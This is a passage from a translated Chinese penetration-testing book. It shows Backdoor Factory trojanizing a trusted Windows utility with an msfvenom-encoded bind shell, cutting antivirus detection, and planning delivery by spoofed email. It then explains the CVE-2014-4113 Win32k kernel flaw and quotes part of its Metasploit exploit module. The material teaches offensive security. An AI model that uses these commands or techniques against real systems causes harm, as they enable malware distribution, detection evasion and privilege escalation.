我喜欢这个工具的名字 Backdoor Factory,因为在真正的工厂中,你可以看到所有小的活动部件如何协同工作,创造出工厂最终生产的产品。当你第一次启动 BDF 时,可能会对命令行中提供的选项感到吃惊。虽然我们不会详细介绍所有这些选项,但我希望我们能对工具有所了解。在本章中,我们不会尝试所有功能,在某些评估中,你可能只需要几个参数就能完成任务。然而,工作的一部分是理解工具集的能力,以便你能有效地识别问题的解决方案。我们将这样做,但在回顾 BDF 功能之前,让我们更深入地理解将 shellcode 注入可执行文件(也叫做 补丁)的过程。任何动态注入器的核心概念之一就是代码洞。代码洞 是由仅包含空字节(0x00)的进程内存块组成。我们称它们为代码洞,因为它们黑暗、可怕且空荡荡的,就像熊住在其中,它们是藏匿恶意代码的好地方。(我撒了个谎,那里并没有熊。)这些“空无一物”的结构对我们很重要,因为它们让我们能够添加代码而不改变已经存在的内容。

在这个例子中,我突出了一个 Windows 安装程序中的代码洞:

图 12.10 – 在 IDA 反汇编器中找到代码洞

图 12.10 – 在 IDA 反汇编器中找到代码洞

如果不设置任何标志,运行 BDF 只会显示这些选项(以及一个有趣的 ASCII 横幅)。让我们看看这个工具能做什么。请注意,这里有一些选项超出了我们的讨论范围或不需要解释,因此我跳过了它们。(实际上,有一个选项是针对 OnionDuke 的,你不会在太多合法的白帽子场景中看到它。)你可以通过以下简单命令启动工具:

./backdoor.py

如果没有任何参数,BDF 会告诉你可用的选项:

  • --file= 用于标识将使用你的代码进行修补的二进制文件。

  • --shell= 用于识别可用的有效载荷。定义了可执行文件后,使用--shell=show可以查看兼容的有效载荷列表。

  • --hostip=--port= 是标准选项,用于连接回调或本地绑定,具体取决于有效载荷。

  • --cave_jumping 允许我们将 shellcode 分布到多个代码洞中;在一个代码洞中插入一些代码,然后跳转到下一个代码洞,再到下一个。

  • --add_new_section 为可执行文件添加一个新的部分,用于存放我们的 shellcode。这不是一个隐蔽的选项,但在某些二进制文件结构中可能是必要的。

  • --user_shellcode= 允许我们提供自己的 shellcode(而不是使用内置的有效载荷)。我更喜欢与我的 shellcode 建立一种更个人化的关系,因此几乎总是使用我自己的 shellcode。

  • --cave--shell_length= 用于在二进制文件中寻找代码洞。虽然 --cave 可以找到所有代码洞并列出它们,--shell_length= 用于定义特定大小的代码洞。

  • --output-file= 是我们最终生成的文件保存的路径。

  • --section= 用于命名我们通过 --add_new_section 创建的新节。

  • --directory= 是一个非常实用的选项,使 BDF 变得特别强大;它允许我们对整个目录的二进制文件进行后门处理。请记住,默认行为是寻找代码洞,这意味着每个独立的可执行文件都需要进行处理。将此选项与 --add_new_section 结合使用时,BDF 不再需要寻找代码洞,这个过程会更快。记住一个经验法则,添加新节并不隐蔽。

  • --change_access 是默认行为;只有在某些情况下你才需要更改它。此选项使得载荷所在的代码洞变为可写和可执行。

  • --injector--suffix=--delete_original 是注入器模块的一部分,仅适用于 Windows 系统,因此在这里我们不进行操作。我没有跳过它们,因为它们既有趣又危险。它们非常激进且具有潜在的破坏性,因此建议小心使用。它们会在系统中寻找可修补的可执行文件,进行注入,并根据 suffix 参数保存原始文件。如果使用 --delete_original,原始的未触及的可执行文件将被删除,留下注入后的副本。--injector 模块甚至会检查目标是否正在运行,如果是,它将关闭目标程序,进行注入,然后尝试重新启动它。

  • --support_check 允许 BDF 判断目标是否可以在不进行注入的情况下被注入。当你尝试注入一个文件时,会进行此检查,因此这对研究很有帮助。

  • --cave-miner 用于调整我们的 shellcode 生成,使其适应目标可执行文件,而不是相反。它帮助我们找到可以适配到某个代码洞中的最小有效载荷。

  • --verbose 用于调试注入过程。

  • --image-type= 让你能够识别要修补的二进制文件是 x86 还是 x64(或两者都有)。默认是两者都有。

  • --beacon= 用于能够发送信标或心跳的有效载荷。此选项接受以秒为单位的间隔时间作为参数。

  • --xp_mode 使你的创作能够在 Windows XP 上运行。没错——默认情况下,BDF 木马会在 XP 上崩溃。这是一种沙箱对策——随着 XP 逐渐不再作为实际的家庭(或生产)操作系统使用,它仍然在虚拟机和其他环境中找到了用途,可以在不担心破坏宝贵数据的情况下引爆数字炸弹。当然,现代沙箱可以在任何操作系统上进行,所以这个选项不会产生巨大的区别。如果你明确针对 XP 进行攻击,请留意这一点——许多生产环境仍然使用 XP,以便兼容某些应用程序。

  • --code_sign 在安全环境中非常有用,尤其是那些只信任签名代码的环境。这使得你可以用自己的签名证书和私钥签署你的作品。当然,你不可能拥有一些大型软件制造商的合法签名证书(对吧?),但如果检查只是在乎代码是否用任何证书签署,那么这个选项非常方便。如果你没有签署你的文件,那么你需要使用--zero_cert

这个工具使我们在注入过程中拥有相当多的控制权。通过这种低级别的控制,我们可以更深入地了解我们的项目,并根据需要精细调整我们的木马。接下来,我们将选择一个可执行文件,作为我们的感染程序,进行一些低级分析。

使用 BDF 和 IDA 进行木马工程

最理想的目标二进制文件是轻量级和可移植的——也就是说,它们依赖较少或根本没有依赖。一个需要完整安装的程序并不理想。我们假设客户的员工使用一个轻量级的免费软件来进行数据恢复。在我们的侦察阶段,我们建立了这个员工与公司另一位员工之间的信任关系。我们还发现了一个开放的 SMTP 中继,因此我们将尝试进行社会工程攻击,建议员工下载新版软件。我们会发送一个链接,实际上指向我们的 Kali 主机,拉取被植入木马的文件。

在开始之前,我们将确认目标可执行文件的当前状态,从 AV 社区的信任角度进行验证,确保它被普遍信任。我们正在使用的程序DataRecovery.exe,在社区中被认为是可信的。这有助于我们评估我们所实现的规避程度。去拿杯咖啡吧,我们继续。首先,我们将使用msfvenom创建我们自己的有效载荷:

msfvenom --arch x86 --platform windows --payload windows/shell/bind_tcp EXITFUNC=thread LPORT=1066 --encoder x86/shikata_ga_nai --iterations 5 > trojan.bin

图 12.11 – 使用 msfvenom 生成编码后的有效载荷

图 12.11 – 使用 msfvenom 生成编码后的有效载荷

你还记得那些丰盛的日子吗?那时我们可以使用 Meterpreter 反向连接 payload。那时候我们富裕,179 千字节的文件都能让我们傲慢地笑一笑。如今,当我们处理可能微小的代码 cave 时,那些日子已经一去不复返了。在这种情况下,我使用了windows/shell/bind_tcp,因为它要小得多。这为我们提供了进行多次x86/shikata_ga_nai迭代的空间。即使进行了五次迭代,我们最终也只得到了可怜的 482 字节。因此,这个攻击将要求我们主动连接目标,而不是等待对方的反向连接。为了之后分析最终产品,我现在就用xxd检查 payload,获取一些原始字节:

图 12.12 – 使用 xxd 抓取 payload 的原始字节

图 12.12 – 使用 xxd 抓取 payload 的原始字节

接下来,我们将启动 BDF,并将我们编码后的二进制文件作为用户提供的 shellcode 传入:

./backdoor.py --file=DataRecovery.exe --shell=user_supplied_shellcode_threaded --user_shellcode=trojan.bin --output-file=datarec.exe --zero_cert

这是我们可以控制的部分。看一下这个提示,已标出合适的代码 cave:

图 12.13 – 检查代码 cave 以便跳转

图 12.13 – 检查代码 cave 以便跳转

让我们深入研究这个程序的机器代码,检查这些内存位置。我们真正要寻找的是一个合适的代码 cave 来放置 payload。为什么不直接探索程序在磁盘上的原始字节呢?像之前在章节中使用xxd那样,我选择了第二个代码 cave——长度为 2,941 字节,从0x4a47f开始,到0x4affc结束:

图 12.14 – 检查代码 cave

图 12.14 – 检查代码 cave

这里看起来是我们 shellcode 的一个理想位置。我们继续将2传递给 BDF,它会输出我们的木马可执行文件。我敢打赌,你此刻一定觉得自己像个真正的世界级黑客。别急,草蜢——先让你的邪恶创作通过扫描,看我们在规避方面做得如何。最后我们得到了50%的检测率。哦,我的天。每两个扫描器就有一个能检测到它。发生了什么?首先,我们没有使用“cave jumping”(代码跳跃),所以我们的 payload 被直接放到了一个位置。接下来,我们将尝试“cave jumping”,并实验可执行文件的不同部分:

./backdoor.py --file=DataRecovery.exe --shell=user_supplied_shellcode_threaded --cave_jumping --user_shellcode=trojan.bin --output-file=datarec3.exe --zero_cert

对我们所选程序的执行流程进行更深入的分析,有助于我们识别合适的注入点。对于我们这些时间至关重要的从业者,我建议你搭建一个尽可能准确复制目标反恶意软件防御的实验室环境。侦察通常能为我们提供有关企业 AV 解决方案的信息(提示:在技术支持论坛上进行开源侦察),我们可以通过反复试验创建有效的有效载荷。

当我们跳跃洞穴时,我们可以控制哪些空字节块包含我们的 shellcode。

图 12.15 – 在 BDF 中选择洞穴

图 12.15 – 在 BDF 中选择洞穴

当我更加仔细地选择我的洞穴,尝试分散执行时,我最终能够创建一个检测率仅为10.6%的文件。当我们对有效载荷感到满意时,我们通过选定的向量进行投递(在我们的场景中,通过伪造的电子邮件发送本地 URL)并等待受害者执行木马。在这里,我们看到被后门化的 DataRecovery 工具正常工作,但在后台,端口1066已打开并等待我们的连接:

图 12.16 – 绑定端口的目标可执行文件正在运行

图 12.16 – 绑定端口的目标可执行文件正在运行

作为你学习的一部分,为了更好地理解幕后发生的事情,不要忘记在你喜欢的工具中转储木马的字节,并寻找你的 shellcode。查找你的 shellcode 字节(正如我们之前在xxd中恢复的那样):

图 12.17 – grep 出我们之前收集的一些字节

图 12.17 – grep 出我们之前收集的一些字节

当然,这只是一个额外的练习。其目的是深入了解注入是如何工作的。这确实是一个让人迷失的兔子洞,所以请享受探索你自己创作的过程。

尽管这结束了我们的实验练习,但请记住核心概念——在你找到适合目标环境的有效方法之前,可能需要进行大量的反复试验。

总结

在本章中,我们探讨了恶意脚本如何通过解释器进程与主机交互,从而创建一个独特的防御场景。我们看了一些简单的模板,用于 shellcode 注入和数据泄露,并考虑了不同的方法来修改它们,以迷惑扫描器。

在本实验之后,我们简要探讨了 Metasploit 的 Shellcode 生成理论,并理解了编码器的功能和作用。我们通过 Kali 中一个快速简便的反汇编工具探索了 Windows 可执行载荷,并使用 grep 命令查找字节序列,学习如何识别编码 Shellcode 中的模式。最后,我们探索了如何修补合法的可执行文件,使其通过我们自己的载荷变成有效的特洛伊木马。这个过程中包括了通过十六进制转储来回顾注入点。我们还探索了仍然有效的 BDF,识别代码洞并控制地使用它们来存放我们的 Shellcode。

在下一章中,我们将从内核的角度深入探讨更低层次的抽象。我们将了解一些经过验证的攻击方法,以深入理解内核漏洞的基础,并探讨使用 Metasploit 框架的实际方法。

问题

  1. VirtualAlloc()VirtualAllocEx() 有什么区别?

  2. MiniDumpWriteDump() 只能用于攻击 LSASS。(对 | 错)

  3. 代码洞是后门目标可执行文件中的一部分,由0x90空操作码组成,我们可以将我们的 Shellcode 存放在其中。(对 | 错)

  4. 在使用 BDF 修补目标可执行文件时,我们何时需要--xp_mode

第十三章:Windows 内核安全

内核是操作系统的“军官”。它是允许操作系统OS)将应用程序与硬件连接的软件,将应用程序请求转化为 CPU 指令。实际上,很难将操作系统本身与其内核区分开;它是操作系统的核心。用户应用程序中的错误可能导致崩溃、不稳定、变慢等问题,但内核中的错误可能导致整个系统崩溃。一个更具破坏性的潜在威胁是以操作系统上最高权限执行任意代码。内核攻击是黑客的梦想。

操作系统中的一切都以某种形式与内核协作。作为操作系统的核心,内核需要与系统中权限较低的进程隔离;如果没有隔离,内核可能会受到破坏,而被破坏的内核将导致系统无法使用。这种隔离通过将内核在内存中的空间设置为用户侧进程无法访问来实现。尽管如此,完全的隔离会使计算机对于用户和应用程序变得无用——接口是必需的。这些接口为攻击者提供了进入 Windows 计算机最高权限级别的大门。

对 Windows NT 内核的深入讨论超出了本章的范围,但我们将介绍内核安全概念,并通过一个 Metasploit 漏洞利用模块来演示如何攻击 Windows 内核,以便更好地理解它的工作原理。我们将提供一个实践入门,教你如何利用内核漏洞在 Windows 目标上提升权限。

本章将涵盖以下内容:

  • 内核概念和攻击的概述

  • 使用指针概念来说明空指针缺陷

  • Metasploit 模块中的代码,用于利用 CVE-2014-4113 漏洞

  • 在 Windows 7 目标机器上获取立足点后,演示如何利用该模块进行权限提升

技术要求

本章的技术要求如下:

  • Kali Linux

  • 一台 Windows 7 目标 PC 或虚拟机

  • 用于进一步调试学习的 WinDbg(完成练习不必要)

  • 用于分析二进制文件和驱动程序的 IDA 反汇编器(完成本练习不必要)

内核基础——理解内核攻击是如何工作的

需要记住的一个重要哲学观点是,内核是一个计算机程序。它是一个构造体,对于我们这些普通的小白来说,可能会感到有些令人生畏,所以有助于记住它的真实面目。在普通编程中你学到的日常缺陷,都可能出现在内核代码中。内核占用内存,就像任何普通程序一样,因此存在将某些东西放到不该放的地方并执行的可能性。如果是这样,那内核到底有什么特别之处呢?内核通过连接计算机的硬件和操作系统的软件来管理所有低级功能。在现代 Windows 实例中,有许多不同的程序同时运行,它们都想使用同一个处理器。程序无法决定谁能获得多少时间,而处理器则愚蠢地完成操作——它也无法做出决定。是内核充当了警察的角色,管理所有与系统最低级结构的高层次交互。下次你对一台实际上并不具备多任务处理能力的计算机的多任务能力感到惊讶时,记得感谢内核为你提供了这一幻觉。

Windows 是一个使用双模式架构的操作系统示例——用户模式和内核模式(有时称为用户模式和监督模式)。因此,内存空间被分为两部分,用户模式无法访问内核空间。另一方面,内核模式具有最高的权限,可以访问系统和硬件的任何部分。内核最终是实际硬件与操作系统之间的中介。在 Windows 中,硬件的接口由硬件抽象层HAL)提供,顾名思义,它创建了一个抽象层,旨在规范硬件差异。例如,内核模式驱动程序为请求访问硬件的应用程序提供接口;甚至像应用程序希望在屏幕上显示数据这样的事情,也必须与内核模式驱动程序合作。这些结构的美妙之处在于它们为应用程序提供了一个抽象层和一个单一的熟悉环境。Windows 开发人员不需要担心可能会显示其程序的不同显示器:

图 13.1 – Windows 如何与硬件交互

图 13.1 – Windows 如何与硬件交互

内核攻击向量

内核的安全性问题既深远(潜在影响巨大)也简单明了(因为内核是由人编写的软件,细节无需多说)。在检查内核概念时,我们考虑的一些攻击向量如下:

  • API:如果内核不允许某些方式让应用程序访问其功能,那么计算机就没有意义,我们还不如回家去。通过 API,潜在的恶意代码可能在内核模式下执行,使攻击者的 shellcode 获得完全访问权限,从而实现完全的攻击。

  • 从硬件向上划水:如果你检查 Windows 操作系统的设计,你会注意到,你可以从系统层次结构的硬件侧更直接地接触内核。恶意驱动程序的设计可以利用将硬件设备映射到虚拟内存空间的机制。

  • 破坏引导过程:操作系统需要在启动时加载,这时是系统的一个脆弱时刻。如果引导流程可以被任意控制,可能在各种自我保护机制初始化之前,就能够攻击内核。

  • Rootkit:Windows 中的内核模式 rootkit 通常表现为内核模式驱动程序。成功编写这种恶意软件是一项非常精细的平衡工作,因为内核代码的性质;再加上现代的保护措施,如驱动程序签名,使得这种攻击越来越难以实现。然而,这并非不可能,且无论如何,老旧操作系统在许多环境中仍然存在。渗透测试人员需要意识到那些安全行业喜欢描述为正在退出历史舞台的攻击方式。

内核作为时间警察的角色

现代操作系统需要执行各种“魔法”,而内核就是魔术师。一个例子是上下文切换,这是一种允许多个进程共享单个 CPU 的技术。上下文切换的实际工作是将正在运行的线程挂起并存储到内存中,调度另一个线程使用 CPU 资源运行,然后将第二个线程挂起并存储到内存中,再调回第一个线程。无法避免的是,这个过程需要时间,因此处理器的一部分延迟就来自上下文切换;操作系统的一个创新是在尽可能减少这一时间。

当然,我们很少有幸运的机会需要担心仅有两个小线程试图在同一处理器上运行——通常有几十个线程在等待,所以需要优先级管理。线程优先级是调度器的工作之一。调度器决定谁在什么时间片段内使用处理器。如果一个进程不愿意放弃它与处理器的时间呢?在合作式多任务操作系统中,进程需要完成资源的使用才会释放资源。另一方面,在抢占式多任务操作系统中,调度器可以中断任务,并稍后恢复它。你可以想象一下,一个操作系统如果无法与一个拒绝释放资源的线程进行上下文切换会带来怎样的安全隐患。幸运的是,现代操作系统通常是抢占式的。实际上,在 Windows 操作系统中,内核本身就是抢占式的——这意味着即使是内核模式下运行的任务也可以被中断。

即使是年幼的孩子也能理解存在的基本规则之一——事件并不总是同时发生,你通常需要等待某件事情发生。你必须上整整一周的学,才能迎来周末的乐趣。即使是在上下文切换和调度所用的极其微小的时间片尺度上,我们有时也需要等待某件事情发生才能继续前进。程序员和逆向工程师都会在代码中看到这些时间依赖的构造:

  1. 获取VAR变量的值;使用if**/**then语句根据获取的值建立条件。

  2. 获取VAR变量的值;根据第 1 步中建立的条件在函数中使用该值。

  3. 获取VAR变量的值;根据第 1 步第 2 步中建立的条件在函数中使用该值,依此类推。

想象一下,如果我们能创建一个条件,使得这些依赖关系按照预定顺序发生。例如,如果我能让第 2 步先发生呢?在这种情况下,代码期望某个条件已经建立。攻击者可能通过与已建立的顺序竞争来触发漏洞——这就是竞态条件

它只是一个程序

从安全角度来看,理解内核最关键的一点是,它本质上是由代码组成的程序。内核中的缺陷与用户端代码中的缺陷的真正区别在于权限;任何在内核级别运行的代码都可以拥有整个系统,因为内核就是系统。

崩溃内核会导致无法恢复的情况(即需要重新启动),而崩溃用户应用程序只需重启应用程序——因此,探索内核攻击更加危险,容错空间也小得多。不过,它仍然只是一个计算机程序。我强调这一点,因为我们可以从程序员的角度理解本章中的内核攻击。内核是用汇编和 C 混合编写的(这种低级接口能力非常有用),因此在我们深入利用 Windows 目标之前,让我们先从 C 和汇编的角度看一下基本的编程概念。

指出问题——指针问题

编程语言使用不同的数据类型:数值类型,如整数,布尔类型用来表示真和假,集合和数组作为复合数据类型,等等。指针是另一种数据类型——引用。引用是指间接指向数据的值。例如,假设我有一本书,每一页上都有美国各州的地图。如果有人问我住在哪里,我可以说第 35 页——这是对该页面上数据(州地图)的间接引用。作为一种数据类型,引用本身是简单的,但引用所指向的数据本身也可以是一个引用。想象一下,这个小小的对象可能带来的复杂性。

在 C 语言和汇编中的解除引用指针

作为引用数据类型的指针被认为是低级的,因为它们的值用作内存地址。指针指向一个数据项,因此该数据项的实际内存地址就是指针的值。使用指针访问在定义的内存地址上的数据项的操作叫做解除引用。让我们看一个示例 C 程序,它操作指针和解除引用,然后快速查看编译后的程序的汇编代码:

#include <stdio.h>
int main(int argc, char **argv)
{
    int x = 10;
    int *point = &x;
    int deref = *point;
    printf("\nVariable x is currently %d. *point is %d.\n\n", x, deref);
    *point = 20;
    int dereftwo = *point;
    printf("After assigning 20 to the address referenced by point, *point is now %d.\n\n", dereftwo);
    printf("x is now %d.\n\n", x);
}

编译后的程序生成了以下输出:

图 13.2 – 我们指针程序的输出

图 13.2 – 我们指针程序的输出

我们接下来的汇编示例是 64 位的(例如,RBP),但概念是一样的。然而,尽管我们在使用 Linux,但我们依然采用 Intel 语法,而 Linux 使用的是 AT&T 语法——这是为了与前一章的汇编介绍保持一致。请记住,在 AT&T 语法中,源操作数和目标操作数是反过来的!

看一下在组装程序中的关键点发生了什么。声明x整数会在内存中为它分配一个位置。int x = 10; 在汇编语言中是这样写的:

mov    DWORD PTR [rbp-20], 10

因此,10 的值被移动到基址指针 -20 处的 4 字节位置。这很简单。(请注意,这里定义了我们变量的实际内存大小 —— DWORD。一个双字(double word)是 32 位或 4 字节长。)但是现在,看看当我们到达 int *point = &x; 时会发生什么,在这里我们声明了整数指针 *point,并将它赋值为 x 的实际内存位置:

lea    rax, [rbp-20]
mov    QWORD PTR [rbp-8], rax

lea 指令表示 加载有效地址。这里,RAX 寄存器是目标,所以实际上这里的意思是将 -20 基址指针的地址放入 RAX 寄存器。接下来,RAX 中的值被移动到 -8 基址指针处的四字(quadword)内存中。到目前为止,我们已经在 -20 基址指针处为 4 字节的内存腾出了空间,并将 10 整数放入其中。然后,我们取出了该整数在内存中的 64 位地址,并将该地址存储到 -8 基址指针处的内存中。简而言之,x 整数现在位于 RBP - 20,而 RBP - 20 的地址现在作为指针存储在 RBP - 8 中。

当我们通过 int deref = *point; 解引用指针时,汇编中会看到如下内容:

mov    rax, QWORD PTR [rbp-8]
mov    eax, DWORD PTR [rax]
mov    DWORD PTR [rbp-12], eax

为了理解这些指令,我们先快速回顾一下寄存器。记住,EAX 是 IA-32 架构中的 32 位寄存器,它是 16 位 AX 的扩展。在 x64 架构中,RAX 是 64 位寄存器,但记住它是向后兼容的,遵循相同的原则 —— RAXEAX 的扩展:

图 13.3 – 64 位寄存器

图 13.3 – 64 位寄存器

方括号 [ ] 用于区分内存位置或寄存器的内容。所以,首先,我们将 RBP - 8 指向的四字(quadword)值放入 RAX 寄存器中,然后我们将 RAX 所指向的 DWORD 值加载到 EAX 寄存器,最后,将 EAX 中的 DWORD 值存储到位于 -12 基址指针的内存中。

记住,RBP - 8 存储的是我们整数 x 的地址。所以,正如你在汇编代码中看到的那样,我们通过指向一个指针,成功地将那个整数存储到内存的另一个位置。

理解 NULL 指针解引用

现在我们已经回顾了指针基础知识,我们可以定义 NULL 指针解引用——当程序使用指针访问它所指向的内存位置(解引用),但指针的值为 NULL 时,就会发生这种情况。如果你回忆一下我们在介绍 shellcoding 时的内容,我们的程序试图访问0x7a7a7a7a,这是我们在用 ASCII 字母z覆盖返回地址时发生的,所以在 NULL 指针的情况下,试图访问的是内存中一个无效的位置。区别在于,我们并没有用任意字节覆盖指针值;它是 NULL——一个根本不存在的地址。结果总是某种故障,但最终的行为可能是不可预测的。既然如此,为什么我们会关注 NULL 指针解引用呢?

我知道你心中的黑客正想说,显然利用 NULL 指针解引用漏洞会导致拒绝服务攻击(DoS)。也许吧,小草蜢,但事情比这更复杂。首先,从0x00000000开始的内存地址可能是映射的,也可能不是——也就是说,如果 NULL 指针的值真的为零,可能会进入一个合法的内存位置。如果它不是一个有效的内存位置,我们就会遇到崩溃;但如果是有效的,而且那里有一些诱人的 shellcode,那么我们就能实现代码执行。另一个需要考虑的情况是指针在解引用之前没有被正确验证。在这种情况下,实际的值可能不是 NULL,但攻击本质上是一样的。为了进行分析,我们将选择一个 2014 年广为人知的 Windows 漏洞——CVE-2014-4113。

提到已知漏洞最常见的方式可能是通过其通用漏洞与暴露CVE)标识。CVE 是由美国联邦政府赞助的一个基于软件的威胁目录。漏洞被定义为可能使攻击者直接访问系统或数据的缺陷,而暴露则是允许间接访问系统或数据的缺陷。CVE 的命名规范为CVE-<年份>-<编号>

Win32k 内核模式驱动程序

CVE-2014-4113 也被称为微软安全公告中的 MS14-058。它是内核模式驱动程序Win32k.sys中的一个特权提升EoP)漏洞。我不知道Win32k.sys这个名字是否已经表明了这一点,但这个特定驱动程序中的错误对于 Windows 系统来说是个非常糟糕的消息。

Win32k.sys 驱动程序是 Windows 子系统某些核心部分的内核端。它的主要功能是 Windows 的图形用户界面(GUI);负责窗口管理。任何需要显示内容的程序都不会直接与图形硬件交互。相反,它通过 图形设备接口GDI)进行接口,而 Win32k.sys 负责管理该接口。用户模式的窗口管理通过 Client/Server Runtime SubsystemCSRSS)用户端服务中的 User32 DLL 与 Win32k.sys 进行通信。驱动程序通过入口点提供对其功能的访问,Win32k.sys 大约有 600 个这样的入口点。这个高度复杂的交互和核心功能使得像 Win32k.sys 这样的组件在安全性方面成为一场噩梦。

这是一个极其简化的图示,展示了 Win32k.sys 在 Windows 内核中的位置及其与用户空间的关系:

图 13.4 – Win32k.sys 与内核的交互

图 13.4 – Win32k.sys 与内核的交互

请注意,这个图示在物理上也与内存相关,因为用户空间位于内存的下半部分(图示的顶部),而内核空间占据上半部分。0x000000000x7FFFFFFF 是用户空间,应用程序的虚拟内存空间占据其中的某些区域;剩余部分 0x800000000xFFFFFFFF 是强大的内核空间。Windows 的设计并不傻——你不能随意在内核空间执行某些操作:

图 13.5 – 利用 Win32k.sys

图 13.5 – 利用 Win32k.sys

我们希望实现的目标是通过在内核模式下运行的代码来执行我们在用户空间中的有效载荷。我们不需要进入内核的“后院”就能让某些操作在内核的高权限下执行。

传递一个错误代码作为 xxxSendMessage() 的指针

Win32k.sys中有很多复杂内容,我们没有时间深入探讨,因此让我们集中注意力于下一节中,我们将使用模块攻击的脆弱结构。记住,Win32k.sys主要负责窗口管理,包括处理来自应用程序的请求,将内容输出到显示器。Win32k.sys中有一个名为xxxMNFindWindowFromPoint()的函数,用于识别占据屏幕特定位置的窗口(给定的XY坐标点)。该函数会返回一个 C++结构体tagWND的内存地址(WND表示窗口;这属于窗口管理的一部分),但如果发生错误,函数会返回错误代码——-1-5。在一个经典的编程疏忽中,调用此函数的代码会检查是否返回了-1,但并没有检查-5。只要在执行以下简单比较时——cmp ebx,0FFFFFFFFh——零标志没有被设置,程序就会高兴地继续运行,认为从被调用的函数中返回了有效的内存指针。无效指针漏洞就此产生。

让我们来看一下通过 IDA 分析Win32k.sys的执行流程。在我的 IDA 会话中,我将驱动程序中的sub_BF8B959D识别为xxxSendMessage()函数(sub代表子程序)。关键时刻可以在loc_BF9392D8看到(loc表示内存位置):

cmp    ebx, 0FFFFFFFFh
jnz    short loc_BF9392EB

EBX寄存器中的值将与-1进行比较(请注意,十六进制值是有符号整数,因此0xFFFFFFFF等于-1)。如果零标志没有被设置,jnz将跳转;记住,这只是汇编语言的说法:如果两个比较值相等,就跳转到指定的位置。

让我们快速回顾一下汇编中的条件跳转。零跳转非零跳转的原理是基于比较结果。假设你有xy这两个变量。这是一个简单的逻辑语句,x - x = 0。因此,如果x - y = 0,那么我们就知道x = yjnzjz会检查标志寄存器中的零标志位,以检查比较结果。

所以,如果EBX中的值不是-1,那么我们跳转到loc_BF9392EB

push    0
push    [ebp+arg_8]
push    1Edh
push    ebx
call    sub_BF8B959D

让我们在 IDA 中看一下这个情况。

图 13.6 – IDA 中的一个关键测试

图 13.6 – IDA 中的一个关键测试

回想一下在我的特定 IDA 会话中,sub_BF8B959DxxxSendMessage函数。最简单的说法是,如果EBX包含除了-1之外的任何值,xxxSendMessage将被调用。-5的值在调用之前不会与EBX进行比较。通过在此时返回-5,我们可以将其作为参数传递给xxxSendMessage函数。-5以十六进制表示的值是0xFFFFFFFB。在这个特定参数中,xxxSendMessage期望的是一个指针。如果攻击成功,执行将尝试跳转到内存位置0xFFFFFFFB。攻击的一部分任务是将我们定位到 NULL 页面,并带有一个偏移量。在此之前,攻击已经在 NULL 页面上映射了一些空间,因此最终,执行跳转到用户空间中等待的 shellcode。(像往常一样,Windows 出于向后兼容的原因,允许 NULL 页面映射。)现在,我知道你内心的黑客在说:看起来禁用 NULL 页面映射就能立刻阻止这个攻击。你说得对,做得好,微软也考虑到了这一点——从 Windows 8 开始,默认禁用 NULL 页面映射。

这里没有足够的篇幅深入分析这个特定漏洞,但我希望我已为你提供了足够的背景信息来尝试这个实验——在你的 Windows 7 虚拟机上操作,获取驱动程序(它位于System32文件夹中),在 IDA 中打开它,跟踪执行流程。看看你是否能理解这里其他函数的运行情况。试着持续记录寄存器及其值,并利用pushpop操作实时了解堆栈的变化。IDA 是进行这种分析的完美工具。我有预感,你会被深深吸引。

Metasploit – 探索 Windows 内核漏洞模块

现在我们有了一些背景知识,接下来我们将通过 Metasploit 观察攻击的实际操作。与此漏洞相关的利用模块名为exploit/windows/local/ms14_058_track_popup_menu(回忆一下,MS14-058 是微软针对该漏洞发布的安全公告编号)。请注意,这个漏洞的利用属于本地子类别。该漏洞的性质要求我们能够以特权用户身份执行程序——这是一个本地攻击,而非远程攻击。有时,你会看到安全出版物用类似攻击者必须位于本地机器旁边这一事实限制了风险的措辞来讨论本地漏洞。此时,你应该会心一笑,因为你知道区分本地与远程攻击的语境,实际上是去除了坐在键盘前的人为因素。如果我们能说服用户采取某些行动,那么我们就可以像本地攻击一样操作。这些本地攻击只需一点小巧思就能变成远程控制。

在进入有趣的部分之前,让我们详细检查一下 Metasploit 模块,以便理解它是如何工作的。像往常一样,我们需要查看 include 语句,以便回顾导入到该模块中的功能:

require 'msf/core/post/windows/reflective_dll_injection'
class MetasploitModule < Msf::Exploit::Local
    Rank = NormalRanking
    include Msf::Post::File
    include Msf::Post::Windows::Priv
    include Msf::Post::Windows::Process
    include Msf::Post::Windows::FileInfo
    include Msf::Post::Windows::ReflectiveDLLInjection

所以,这里加载了几个 Windows 后期攻击模块:FilePrivProcessFileInfoReflectiveDLLInjection。我不会在这里给你列出所有五个模块的代码,但你应该始终认为,适当审查导入的模块是一个必要步骤。请记住,include 语句将这些模块作为 mixins 导入,使得它们的参数可以直接在父模块中引用。

回到父模块 – 我们将跳过前两个定义的方法,initialize(info={})check。你应该记得,info 初始化为用户提供有用的信息,但这对模块的功能来说并不是必需的。它的主要作用是使得关键字可以在 msfconsole 中用于搜索功能。check 方法也不是严格必须的,但它使得该模块可以与 Metasploit 的兼容性检查功能一起使用。当选择一个目标时,你可以加载一个漏洞利用模块,并检查目标是否可能存在漏洞。就我个人而言,我觉得检查功能非常巧妙且可能节省时间,但通常来说,我不建议完全依赖它。

现在,终于到了 – exploit 方法。请注意,该方法首先进行了一些错误检查,我们跳过了这些部分;它确保我们还不是 SYSTEM(以防你在冲过终点线后仍在全速前进!),并且检查会话主机架构与选项定义的架构是否匹配:

def exploit
    print_status('Launching notepad to host the exploit...')
    notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})
    begin
        process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
        print_good("Process #{process.pid} launched.")
  rescue Rex::Post::Meterpreter::RequestError
        print_error('Operation failed. Trying to elevate the current process...')
        process = client.sys.process.open
    end

该方法从尝试启动记事本开始。请注意,{'Hidden' => true} 参数被传递给 execute。这确保了记事本会执行,但友好的编辑器窗口不会实际出现在用户面前(这肯定会让用户察觉到有什么不对劲)。然后,我们处理记事本启动成功的情况,并获取进程 ID,进入下一阶段的攻击;如果启动记事本失败,rescue 会派上用场,处理启动失败的情况,改为获取当前打开的进程用于下一阶段。

DLL 是 Windows 中共享库模型的实现。它们是可以被多个程序共享的可执行代码。就实际用途而言,它们应当被视为可执行文件。与 EXE 文件的主要区别在于,DLL 需要一个由运行中的程序提供的入口点。从安全角度来看,DLL 是非常危险的,因为它们被加载到调用进程的内存空间中,这意味着它们拥有与运行进程相同的权限。如果我们能够将恶意 DLL 注入到一个特权进程中,这几乎就意味着游戏结束。

